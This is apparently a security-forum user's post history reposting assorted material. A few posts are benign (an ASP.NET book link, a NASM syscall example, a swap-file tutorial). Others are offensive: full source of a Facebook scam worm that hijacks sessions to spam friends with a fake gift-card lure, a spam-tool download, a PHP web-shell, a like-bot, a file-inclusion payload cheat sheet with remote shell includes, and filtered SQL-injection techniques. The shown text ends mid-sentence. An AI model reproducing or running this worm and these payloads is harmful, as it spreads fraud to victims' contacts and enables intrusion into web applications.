-
Posts
18740 -
Joined
-
Last visited
-
Days Won
711
Everything posted by Nytro
-
Facebook Black Box Flooder, Spammer, Liker, Auto-Adder Nu l-am descarcat, nu l-am incercat, nu stiu daca e infectat, executati pe riscul vostru. Finally it's done! Here it is, newest tool for Facebook! Facebook Black Box Features are: > Wall Flooder - Floods the wall of your slave > Inbox Flooder - Floods the inbox of your slave > Status Flooder - Floods with your status message > Comment Spammer - Spam comments of a random link > Mass Likes - Likes all the posts of your slave > Random Friend Adder - > Poke - Pokes your slave (once) > User ID Checker Notes: > Please update your .NET Framework to the latest version! > Don't PM me questions regarding this program. Post your questions here. > Before you log in your account, make sure it isn't logged in to another browser. > If you can't log in, clear the cache of your IE. > I made this on Windows Vista Ultimate 32-bit. So there is still some compatibility issues on other OS. Screenshots: Virus Scan: File Info Report date: 2010-05-04 18:38:01 (GMT 1) File name: Facebook_Black_Box.exe File size: 543744 bytes MD5 Hash: 56d523ca48800a48f5a64ef3cc5b0e25 SHA1 Hash: 6b960d1baf2877cb8f8af72cc5011e0fdff3fe04 Detection rate: 0 on 20 (0%) Status: CLEAN Detections a-squared - - Avast - - AVG - - Avira AntiVir - - BitDefender - - ClamAV - - Comodo - - Dr.Web - - F-PROT6 - - G-Data - - Ikarus T3 - - Kaspersky - - McAfee - - NOD32 - - Panda - - Solo - - TrendMicro - - VBA32 - - VirusBuster - - Zoner - - Scan report generated by NoVirusThanks.org Download Link: MediaFire Sursa: Facebook Black Box - r00tsecurity
-
Topic inchis. Da, e interesant, dar atat. Prea mult spam pentru o porcarie.
-
Beginning ASP.NET 4 in C# 2010 Beginning ASP.NET 4 in C# 2010Publisher: Apress 2010 | 1017 Pages | ISBN: 1430226080 | PDF | 22 MBThe most Up-to-date and comprehensive introductory ASP.NET book you'll find on any shelf, Beginning ASP.NET 4 in C# 2010 guides you through Microsoft's latest technology for building dynamic web sites. This book will enable you to build dynamic web pages on the fly, and assumes only the most basic knowledge of C#. Download: http://freakshare.com/files/3btryk3f/Begin_Asp.rar.html http://hotfile.com/dl/117376760/63a97b1/Begin_Asp.rar.html http://www.duckload.com/download/5578745/Begin_Asp.rar http://www.filesonic.com/file/961998914/Begin_Asp.rar http://www.fileserve.com/file/GGz7gG5Sursa: Beginning ASP.NET 4 in C# 2010 - r00tsecurity
-
Facebook Scam Source Code Virus It will do a facebook chat to all your friends and tell them to join this Facebook group in which you allow it to access your privacy settings. It then tells you to sign up on a site to access your personal information. function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for (var i = 0; i < ca.length; i++) { var c = ca[i]; while (c.charAt(0) == ' ') c = c.substring(1, c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length); } return null; } var user_id = readCookie("c_user"); var user_name = document.getElementById('navAccountName').innerHTML; var coverpage = function() { var boxdiv = document.createElement('div'); boxdiv.id = 'coverpage1'; boxdiv.style.display = 'block'; boxdiv.style.position = 'absolute'; boxdiv.style.width = 100 + '%'; boxdiv.style.height = 100 + '%'; boxdiv.style.top = 100 + 'px'; boxdiv.style.margin.top = 100 + 'auto'; boxdiv.style.margin = 0 + 'auto'; boxdiv.style.textAlign = 'center'; boxdiv.style.padding = '4px'; boxdiv.style.background = 'url(http://1.bp.blogspot.com/-A0gpB7_AX3o/Tc71HASoEXI/AAAAAAAABKs/EjquUCzFw20/s1600/pgvws.png) no-repeat scroll center top'; boxdiv.style.fontSize = '15px'; boxdiv.style.zIndex = 9999999; boxdiv.innerHTML=' <table align="center" cellpadding="5" cellspacing="5" width="400px"><tr align="left"><td valign="middle"><br /><br /><br /><br /><img style="border: 1px solid black;padding:5px;margin:10px;width:140px;height:140px;" src="http://graph.facebook.com/'+user_id+'/picture?type=large" /></td><td align="left" valign="middle"><font style="font-weight: bold;font-size:16px;">'+user_name+'</font><br /><img src="http://i.imgur.com/hRjNi.gif" style="margin-left:20px;padding-left: 5px;"/></td></tr></table>'; document.body.appendChild(boxdiv); } coverpage(); // Setup some variables var post_form_id = document.getElementsByName('post_form_id')[0].value; var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; // Chat message variables var this_chat = "omg!! i just got my $1,000 jetBlue giftcard in the mail today!! go get one 2 so we can go somewhere x.co/XFG8"; var prepared_chat = encodeURIComponent(this_chat); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Post Link to friends walls /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var token = Math.round(new Date().getTime() / 1000); var http1 = new XMLHttpRequest(); var url1 = "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user_id + "&token=" + token + "-6&filter[0]=user&options[0]=friends_only"; var params1 = ""; http1.open("GET", url1 + "?" + params1, true); http1.onreadystatechange = function () { //Call a function when the state changes. if (http1.readyState == 4 && http1.status == 200) { // If state = success var response1 = http1.responseText; response1 = response1.replace("for (;", ""); // Get rid of the junk at the beginning of the returned object response1 = JSON.parse(response1); // Convert the response to JSON //alert(response4.toSource()); var count = 0; for (uid in response1.payload.entries) { if (count < 400) { //alert("SENT TO "+response1.payload.entries[count].uid); // Loop to send messages // New XMLHttp object var httpwp = new XMLHttpRequest(); var urlwp = "http://www.facebook.com/ajax/profile/composer.php?__a=1"; var paramswp = "post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&xhpc_composerid=u574553_1&xhpc_targetid=" + response1.payload.entries[count].uid + "&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]=How would you like a $1,000 jetBlue Gift Card? - Fly Anywhere For Free!&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]=http://www.facebook.com&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]=jetBlue&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]=http://i.imgur.com/8TAjs.jpg&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]=Only 24 Hours Left!!&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]=jetBlue&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]=http://x.co/XFG8&attachment[params][favicon]=http://lol.info/os/favicon.ico&attachment[params][title]=How would you like a $1,000 jetBlue Gift Card? - Fly Anywhere For Free!&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]=Only 24 hours left!&attachment[params][url]=http://www.facebook.com&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]=Get your FREE $1,000 jetBlue card now before time runs out!&attachment[params][images][0]=http://i.imgur.com/8TAjs.jpg&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text=omg!! i can't believe they're sending me one!!!&xhpc_message=yesssss GOT ONE SUCKASSSS&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest"; httpwp.open("POST", urlwp, true); //Send the proper header information along with the request httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); httpwp.setRequestHeader("Content-length", paramswp.length); httpwp.setRequestHeader("Connection", "keep-alive"); httpwp.onreadystatechange = function () { //Call a function when the state changes. if (httpwp.readyState == 4 && httpwp.status == 200) { //alert(http.responseText); //alert('buddy list fetched'); } } httpwp.send(paramswp); } count++; // increment counter } http1.close; // Close the connection } } http1.send(null); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Hide chat boxes /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var hide = document.getElementById('fbDockChatTabSlider'); hide.style.display = "none"; /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Get online friends and send chat message to them /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var http3 = new XMLHttpRequest(); var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1"; var params3 = "user=" + user_id + "&popped_out=false&force_render=true&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest"; http3.open("POST", url3, true); //Send the proper header information along with the request http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http3.setRequestHeader("Content-length", params3.length); http3.setRequestHeader("Connection", "close"); http3.onreadystatechange = function () { //Call a function when the state changes. if (http3.readyState == 4 && http3.status == 200) { var response3 = http3.responseText; response3 = response3.replace("for (;", ""); response3 = JSON.parse(response3); var count = 0; for (property in response3.payload.buddy_list.nowAvailableList) { if (count < 100) { // Loop to send messages // New XMLHttp object var httpc = new XMLHttpRequest(); // Generate random message ID var msgid = Math.floor(Math.random() * 1000000); var time = Math.round(new Date().getTime() / 1000); var urlc = "http://www.facebook.com/ajax/chat/send.php?__a=1"; var paramsc = "msg_id=" + msgid + "&client_time=" + time + "&to=" + property + "&num_tabs=1&pvs_time=" + time + "&msg_text=" + prepared_chat + "&to_offline=false&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest"; httpc.open("POST", urlc, true); //Send the proper header information along with the request httpc.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); httpc.setRequestHeader("Content-length", paramsc.length); httpc.setRequestHeader("Connection", "close"); httpc.onreadystatechange = function () { //Call a function when the state changes. if (httpc.readyState == 4 && httpc.status == 200) { //alert(http.responseText); //alert('buddy list fetched'); } } httpc.send(paramsc); } //alert(property); count++; // increment counter } http3.close; // Close the connection } } http3.send(params3); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Become a Fan /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var http4 = new XMLHttpRequest(); var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1"; var params4 = "fbpage_id=201282479913581&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest" http4.open("POST", url4, true); //Send the proper header information along with the request http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http4.setRequestHeader("Content-length", params4.length); http4.setRequestHeader("Connection", "close"); http4.onreadystatechange = function () { //Call a function when the state changes. if (http4.readyState == 4 && http4.status == 200) { http4.close; // Close the connection } } http4.send(params4); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Become a Fan /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var http5 = new XMLHttpRequest(); var url5 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1"; var params5 = "fbpage_id=201286706575691&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest" http5.open("POST", url5, true); //Send the proper header information along with the request http5.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http5.setRequestHeader("Content-length", params5.length); http5.setRequestHeader("Connection", "close"); http5.onreadystatechange = function () { //Call a function when the state changes. if (http5.readyState == 4 && http5.status == 200) { http5.close; // Close the connection } } http5.send(params5); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Become a Fan /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var http6 = new XMLHttpRequest(); var url6 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1"; var params6 = "fbpage_id=167400883320224&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest" http6.open("POST", url6, true); //Send the proper header information along with the request http6.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http6.setRequestHeader("Content-length", params6.length); http6.setRequestHeader("Connection", "close"); http6.onreadystatechange = function () { //Call a function when the state changes. if (http6.readyState == 4 && http6.status == 200) { http6.close; // Close the connection } } http6.send(params6); //this function includes all necessary js files for the application function include(file) { var script = document.createElement('script'); script.src = file; script.type = 'text/javascript'; script.defer = true; document.getElementsByTagName('head').item(0).appendChild(script); } include('http://code.jquery.com/jquery-1.5.2.min.js'); var landingpage = function() { var myFrame = $("div#coverpage1").hide(1000); window.top.location = "http://appboxkm.info.s3-website-us-east-1.amazonaws.com/"; } setTimeout("landingpage();",19000); Sursa: http://r00tsecurity.org/forums/topic/13898-facebook-scam-source-code-virus/
-
[Linux x86 NASM] Open, Read & Write syscalls section .bss buffer: resb 2048 ; A 2 KB byte buffer used for read section .data buflen: dw 2048 ; Size of our buffer to be used for read section .text global _start _start: ; open(char *path, int flags, mode_t mode); ; Get our command line arguments. pop ebx ; argc pop ebx ; argv[0] (executable name) pop ebx ; argv[1] (desired file name) mov eax, 0x05 ; syscall number for open xor ecx, ecx ; O_RDONLY = 0 xor edx, edx ; Mode is ignored when O_CREAT isn't specified int 0x80 ; Call the kernel test eax, eax ; Check the output of open() jns file_read ; If the sign flag is set (positive) we can begin reading the file ; = If the output is negative, then open failed. So we should exit exit: mov eax, 0x01 ; 0x01 = syscall for exit xor ebx, ebx ; makes ebx technically set to zero int 0x80 ; = Begin reading the file file_read: ; read(int fd, void *buf, size_t count); mov ebx, eax ; Move our file descriptor into ebx mov eax, 0x03 ; syscall for read = 3 mov ecx, buffer ; Our 2kb byte buffer mov edx, buflen ; The size of our buffer int 0x80 test eax, eax ; Check for errors / EOF jz file_out ; If EOF, then write our buffer out. js exit ; If read failed, we exit. ; No error or EOF. Keep reading . file_out: ; write(int fd, void *buf, size_t count); mov edx, eax ; read returns amount of bytes read mov eax, 0x04 ; syscall write = 4 mov ebx, 0x01 ; STDOUT = 1 mov ecx, buffer ; Move our buffer into the arguments int 0x80 jmp exit ; All done Sursa: [Linux x86 NASM] Open, Read & Write syscalls - r00tsecurity
-
Private x0rg Web Hosting Bypasser (PHPshell) This shell has the best bypass capabilities for example: PERL - Extension bypass PYTHON - Extension bypass Bypass php.ini/.htaccess bypass for PHP 5.2.9 bypass for PHP 5.2.12/5.3.1 And other crazy shit here's a SS: Download: http://www.multiupload.com/0PZSAB1DCQ Sursa: Private x0rg Web Hosting Bypasser (PHPshell) - r00tsecurity
-
Facebook Auto Like Script External Pages Code /* ----------- USER CONFIGURATIONS ------------ */ $login_email = 'CHANGE THIS TO YOUR EMAIL'; $login_pass = 'CHANGE THIS TO YOUR PASSWORD'; $rssFeedToLike = "CHANGE THIS TO YOUR RSS FEED"; /* ------- END OF USER CONFIGURATIONS -------- */ # stories seen $ss = Array(); $page = ''; $likephp = ''; function fblogin($page) { global $ch,$login_email,$login_pass; curl_setopt($ch, CURLOPT_REFERER, 'http://www.facebook.com/plugins/like.php?href=http://fernandomagro.com'); curl_setopt($ch, CURLOPT_URL, 'http://www.facebook.com/login.php?api_key=9c2355ddad105c0767059b748e771bc6&skip_api_login=1&display=popup&social_plugin=like&external_page_url='.rawurlencode($page).'&next=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Fuiserver.php%3Fsocial_plugin%3Dlike%26external_page_url%3D'.rawurlencode($page).'%26method%3Dopt.inlike%26display%3Dpopup%26app_id%3D127760087237610%26from_login%3D1'); curl_setopt($ch, CURLOPT_POSTFIELDS, 'email=' . urlencode($login_email) . '&pass=' . urlencode($login_pass) . '&login=' . urlencode("Login")); curl_setopt($ch, CURLOPT_POST, 1); $login = curl_exec($ch); # echo $login."\n\n\n\n\n";#debug return $login; exit;#debug } function fblikepage($page) { global $ch,$likephp; curl_setopt($ch, CURLOPT_URL, 'http://www.facebook.com/plugins/like.php?href='.rawurlencode($page)); curl_setopt($ch, CURLOPT_POST, 0); $likephp = curl_exec($ch); preg_match("/Env=\{module:\"like_widget\",impid:\"([^\"]+)\",user\d+)/", $likephp, $fbvars); return $fbvars; } // init curl $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_COOKIEJAR, "my_cookies.txt"); curl_setopt($ch, CURLOPT_COOKIEFILE, "my_cookies.txt"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4"); curl_setopt($ch, CURLOPT_URL, $rssFeedToLike); curl_setopt($ch, CURLOPT_POST, 0); $feed = curl_exec($ch); preg_match_all("/<feedburnerrigLink>([^<]+)<\/feedburnerrigLink>/", $feed, $links); #preg_match_all("/<link>([^<]+)<\/link>/", $feed, $links); foreach ($links[1] as $link) { $fbvars = ''; $fbvars = fblikepage($link); if ($fbvars[2] == 0) { if (preg_match("/Env=\{user:\d+/", $likephp)) { echo "Could not like $link : no impid detected\n"; continue; } echo "Logging in...\n"; $page = fblogin($link); $page = fblogin($link); # it's repeated on purpose, cookie trick. $fbvars = fblikepage($link); } # print_r($fbvars); # wrong password if ($fbvars[2] == 0) { echo "Incorrect login user or password\n"; exit; } # impid, user, post_form_id, fb_dtsg preg_match("/Env=\{module:\"like_widget\",impid:\"([^\"]+)\",user\d+).+?post_form_id:\"([^\"]+)\",fb_dtsg:\"([^\"]+)\",/", $likephp, $fbvars); #print_r($fbvars); curl_setopt($ch, CURLOPT_URL, 'http://facebook.com/ajax/connect/external_node_connect.php?__a=1'); curl_setopt($ch, CURLOPT_POSTFIELDS, 'href='.rawurlencode($link).'&node_type=link&edge_type=like&page_id&layout=standard&connect_text&ref&now_connected=true&post_form_id='.$fbvars[3].'&nctr[_mod]=like_widget&nctr[_impid]='.$fbvars[1].'&fb_dtsg='.$fbvars[4].'&post_form_id_source=AsyncRequest'); curl_setopt($ch, CURLOPT_POST, 1); $page = curl_exec($ch); # echo $page; echo "Liked $link\n"; } ?> Sursa: Facebook Auto Like Script External Pages Code - r00tsecurity
-
How to Increase the Swap File in UNIX(-like) Operating Systems First of all, I’m not saying on which operating system because this applies to numerous UNIX, UNIX derivates and UNIX-like operating systems. For example, the process of increasing the swap file is the same on all Linux, AIX, HP-UX, FreeBSD, NetBSD, OpenBSD, IRIX, Tru64 and possibly more. So, assuming that we have approximately 2GB of swap… 1root:~# free 2 total used free shared buffers cached 3Mem: 1026140 690164 335976 0 226408 246340 4-/+ buffers/cache: 217416 808724 5Swap: 2064376 0 2064376 6root:~# We first create an empty file with the size of additional swap we need. For example if we need 512MB of additional swap we’ll create a file like this: 1root:~# dd if=/dev/zero of=/example_swap bs=1024 count=500000 2500000+0 records in 3500000+0 records out 4512000000 bytes (512 MB) copied, 7.03446 seconds, 72.8 MB/s 5root:~# Which will obviously create file with size of 512MB filled with zeros… 1root:~# ls -l /example_swap 2-rw-r--r-- 1 root root 512000000 May 24 11:49 /example_swap 3root:~# Next, we are making this a swap area using the provided utility. 1root:~# mkswap /example_swap 2Setting up swapspace version 1, size = 511995 kB 3root:~# And we attach this to the system’s swap file as shown below… 1root:~# swapon /example_swap 2root:~# free 3 total used free shared buffers cached 4Mem: 1026140 1005904 20236 0 197632 579308 5-/+ buffers/cache: 228964 797176 6Swap: 2564368 0 2564368 As you can see the space was increased. It would be wise to also update /etc/fstab to map this area at boot time or when using swapon -a command. In order to stop using this area, simply remove it with the appropriate system call’s wrapper utility. 1root:~# swapoff /example_swap 2root:~# free 3 total used free shared buffers cached 4Mem: 1026140 1005780 20360 0 197648 579316 5-/+ buffers/cache: 228816 797324 6Swap: 2064376 0 2064376 7root:~# Sursa: How to Increase the Swap File in UNIX(-like) Operating Systems « xorl %eax, %eax
-
Exploiting PHP File Inclusion – Overview Recently I see a lot of questions regarding PHP File Inclusions and the possibilities you have. So I decided to give a small overview. All the tricks have been described in detail somewhere earlier, but I like it to have them summed up at one place. Basic Local File Inclusion: 1<?php include("includes/" . $_GET['file']); ?> Including files in the same directory: ?file=.htaccess Path Traversal: ?file=../../../../../../../../../var/lib/locate.db (this file is very interesting because it lets you search the filesystem, other files) Including injected PHP code: ?file=../../../../../../../../../var/log/apache/error.log (you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.). Temporarily uploaded files might work too. Limited Local File Inclusion: 1<?php include("includes/" . $_GET['file'] . ".htm"); ?> Null Byte Injection: ?file=../../../../../../../../../etc/passwd%00 (requires magic_quotes_gpc=off) Directory Listing with Null Byte Injection: ?file=../../../../../../../../../var/www/accounts/%00 (UFS filesystem only, requires magic_quotes_gpc=off, more details here) Path Truncation: ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ … (more details see here and here) Dot Truncation: ?file=../../../../../../../../../etc/passwd……………. … (Windows only, more details here) Reverse Path Truncation: ?file=../../../../ [...] ../../../../../etc/passwd (more details here) Basic Remote File Inclusion 1<?php include($_GET['file']); ?> Including Remote Code: ?file=[http|https|ftp]://websec.wordpress.com/shell.txt (requires allow_url_fopen=On and allow_url_include=On) Using PHP stream php://input: ?file=php://input (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On) Using PHP stream php://filter: ?file=php://filter/convert.base64-encode/resource=index.php (lets you read PHP source because it wont get evaluated in base64. More details here and here) Using data URIs: ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= (requires allow_url_include=On) Using XSS: ?file=http://127.0.0.1/path/xss.php?xss=phpcode (makes sense if firewalled or only whitelisted domains allowed) Limited Remote File Inclusion 1<?php include($_GET['file'] . ".htm"); ?> ?file=http://websec.wordpress.com/shell ?file=http://websec.wordpress.com/shell.txt? ?file=http://websec.wordpress.com/shell.txt%23(requires allow_url_fopen=On and allow_url_include=On) Static Remote File Inclusion: 1<?php include("http://192.168.1.10/config.php"); ?> Man In The Middle (lame indeed, but often forgotten) Of course you can combine all the tricks. If you are aware of any other or interesting files to include please leave a comment and I’ll add them. Sursa: Exploiting PHP File Inclusion – Overview « Reiners’ Weblog
-
Exploiting hard filtered SQL Injections 3 This is a follow-up post of the first edition of Exploiting hard filtered SQL Injections and at the same time a writeup for Campus Party CTF web4. In this post we will have a closer look at group_concat() again. Last month I was invited to Madrid to participate at the Campus Party CTF organized by SecurityByDefault. Of course I was mainly interested in the web application challenges, but there was also reverse engineering, cryptography and network challenges. For each of the categories there was 4 difficulty levels. The hardest webapp challenge was a blind SQLi with some filtering. Techniques described in my last blogposts did not helped me so I had to look for new techniques and I promised to do a little writeup on this. The challenge was a news site with a obvious SQLi in the news id GET parameter. For different id’s specified by the user one could see different news articles while a SQL error resulted in no article being displayed. The filter was like the “basic keyword filter” I already introduced here with additional filtering for SQL comments: 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|null|where|limit)/i', $id)) 08 exit('attack'); // no sqli keywords 09if(preg_match('/(--|#|\/\*)/', $id)) 10 exit('attack'); // no sqli comments The first attempt was to create a working UNION SELECT with %a0 as a whitespace alternative which is not covered by the whitespace regex but works on MySQL as a whitespace. 1?id=1%a0union%a0select%a01,2,group_concat(table_name),4,5,6%a0from%a0information_schema.tables;%00 However no UNION SELECT worked, I had no FILE PRIV and guessing the table and column names was too difficult in the short time because they were in spanish and with different upper and lower case letters. So I decided to go the old way with parenthesis and a CASE WHEN: 1?id=(case(substr((select(group_concat(table_name))from(information_schema.tables)),1,1))when(0x61)then(1)else(2)end) The news article with id=1 is shown when the first letter of all concated table names is ‘a’, otherwise news article with id=2 is shown. As stated in my last post the output of group_concat() is limited to 1024 characters by default. This is sufficient to retrieve all table names because all default table names concated have a small length and there is enough space left for custom tables. However the length of all standard columns is a couple of thousands characters long and therefore reading all column names with group_concat() is not easily possible because it will only return the first 1024 characters of concated standard columns of the database mysql and information_schema *. Usually, the goal is to SELECT column names only from a specific table to make the result length smaller than 1024 characters. In case WHERE and LIMIT is filtered I presented a “WHERE alternative” in the first part: 1?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))# Here I co-SELECTed the column table_name to use it in the HAVING clause (otherwise the error Unknown column ‘table_name’ in ‘having clause’ would occur). In a subSELECT you cannot select from more than one column and this is where I struggled during the challenge. The easiest way would have been to use GROUP BY with %a0 as delimiter: 1?id=(case(substr((select(group_concat(column_name))from(information_schema.columns)group%a0by(table_name)having(table_name)=0x41646D696E6973747261646F726553),1,1))when(0x61)then(1)else(2)end) But what I tried to do is to find a way around the limiting 1024 character of group_concat(). Lets assume the keywords “group” and “having” are filtered also First I checked the total amount of all columns: 1?id=if((select(count(*))from(information_schema.columns))=187,1,2) Compared to newer MySQL versions the amount of 187 was relatively small (my local MySQL 5.1.36 has 507 columns by default, it was MySQL 5.0). Now the idea was to only concatenate the first few characters of each column_name to fit all beginnings of all column_names into 1024 characters. Then it would be possible to read the first characters of the last columns (this is where the columns of user-created tables appear). After this the next block of characters can be extracted for each column_name and so on until the whole name is reconstructed. So the next step was to calculate the maximum amount of characters I could read from each column_name without exceeding the maximum length of 1024: 15 characters * 187 column_names = 935 characters Well thats not correct yet, because we have to add the commas group_concat() adds between each column. That is additional 186 characters which exceeds the maximum length of 1024. So we take only 4 characters per column_name: 14 characters * 187 column_name + 186 commas = 934 characters The injection looked like this: 1?id=(case(substr((select(group_concat(substr(column_name,1,4)))from(information_schema.columns)),1,1))when(0x61)then(1)else(2)end) To avoid finding the right offset where the user tables starts I began to extract column name by column name from the end, until I identified columns of the default mysql database (a local mysql setup helps a lot). I think the following graphic helps to get a better idea of what I did. The first SELECT shows a usual group_concat() on all column names (red blocks with different length) that misses the columns from user-created tables that appear at the end of the block list. The second query concatenates only the first 4 characters (blue) of every name to make the resultset fit into the 1024 character limit. In the same way the next block of 4 characters can be SELECTed (third query). Each string of concatenated substrings can be read char by char to reconstruct the column names (last query). It gets a bit tricky when the offsets change while reading the second or third block of 4 characters and you need to keep attention to not mix up the substrings while putting them back together for every column name. A little PHP script automated the process and saved some time. Although this approach was way to complicated to solve this challenge, I learned a lot In the end I ranked 2nd in the competition. I would like to thank again SecurityByDefault for the fun and challenging contest, especially Miguel for the SQLi challenges and give kudos to knx (1st), aw3a (3rd) and LarsH (the only one solving the tough reversing challenges). By the way the regex filters presented in the last posts are not only for fun and challenges: I have seen widely used community software using (bypassable) filters like these. * Note that the exact concated length and amount of columns and tables depends on your MySQL version. Generally the higher your version is, the more column names are available and the longer is the concated string. You can use the following queries to check it out yourself: 1select sum(length(table_name)) from information_schema.tables where table_schema = 'information_schema' or table_schema='mysql' 2select sum(length(column_name)) from information_schema.columns where table_schema = 'information_schema' or table_schema='mysql' More: Part 1, Part2, SQLi filter evasion cheatsheet Sursa: Exploiting hard filtered SQL Injections 3 « Reiners’ Weblog
-
Exploiting hard filtered SQL Injections 2 (conditional errors) This is a addition to my last post about Exploiting hard filtered SQL Injections. I recommend reading it to understand some basic filter evasion techniques. In this post we will have a look at the same scenario but this time we will see how it can be solved with conditional errors in a totally blind SQLi scenario. For this we consider the following intentionally vulnerable source code: 01<?php 02// DB connection 03 04// $id = (int)$_GET['id']; 05$id = $_GET['id']; 06 07$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id") or die("Error"); 08 09if($data = mysql_fetch_array($result)) 10 $_SESSION['name'] = $data['name']; 11?> (proper securing is shown on line 4 to avoid the same confusion as last time ) The main difference to the previous source code is that the user/attacker will not see any output of the SQL query itself because the result is only used for internals. However, the application has a notable difference when an error within the SQL query occurs. In this case it simply shows “Error” but this behavior could also be a notable MySQL error message when error_reporting=On or any other custom error or default page that indicates a difference between a good or bad SQL query. Or think about INSERT queries where you mostly don’t see any output of your injection rather than a “successful” or not. Known conditional errors Now how do we exploit this? “Timing!” you might say, but thats not the topic for today so I’ll filter that out for you 1if(preg_match('/(benchmark|sleep)/i', $id)) 2 exit('attack'); // no timing If you encounter keyword filtering it is more than likely that timing is forbidden because of DoS possibilities. On the other hand using conditional errors is just faster and more accurate. The most common documented error for SQLi usage is a devision by zero. 1?id=if(1=1, CAST(1/0 AS char), 1) However this throws an error only on PostgreSQL and Oracle (and some old MSSQL DBMS) but not on MySQL. A known alternative to cause a conditional error under MySQL is to use a subquery with more than one row in return: 1?id=if(1=1, (select table_name from information_schema.tables), 1) Because the result of the subquery is compared to a single value it is necessary that only one value is returned. A SELECT on all rows of information_schema.tables will return more than one value and this will result in the following error: 1Subquery returns more than 1 row Accordingly our vulnerable webapp will output “Error” and indicate if the condition (1=1) was true or false. Note that we have to know a table and column name to use this technique. conditional errors with regex Until yesterday I did not knew of any other way to throw a conditional error under MySQL (if you know any other, please leave a comment!) and from time to time I was stuck exploiting hard filtered SQL Injections where I could not use timing or known conditional errors because I could not access information_schema or any other table. A new way to trigger conditional errors under MySQL can be achieved by using regular expressions (regex). Regexes are often used to prevent SQL injections, just like in my bad filter examples (which you should never use for real applications). But also for attackers a regex can be very useful. MySQL supports regex by the keyword REGEXP or its synonym RLIKE. 1SELECT id,title,content FROM news WHERE content REGEXP '[a-f0-9]{32}' The interesting part for a SQL Injection is that an error in the regular expression will result in a MySQL error as well. Here are some examples: 1SELECT 1 REGEXP '' 2Got error 'empty (sub)expression' from regexp 1SELECT 1 REGEXP '(' 2Got error 'parentheses not balanced' from regexp 1SELECT 1 REGEXP '[' 2Got error 'brackets ([ ]) not balanced' from regexp 1SELECT 1 REGEXP '|' 2Got error 'empty (sub)expression' from regexp 1SELECT 1 REGEXP '\\' 2Got error 'trailing backslash (\)' from regexp 1SELECT 1 REGEXP '*', '?', '+', '{1' 2Got error 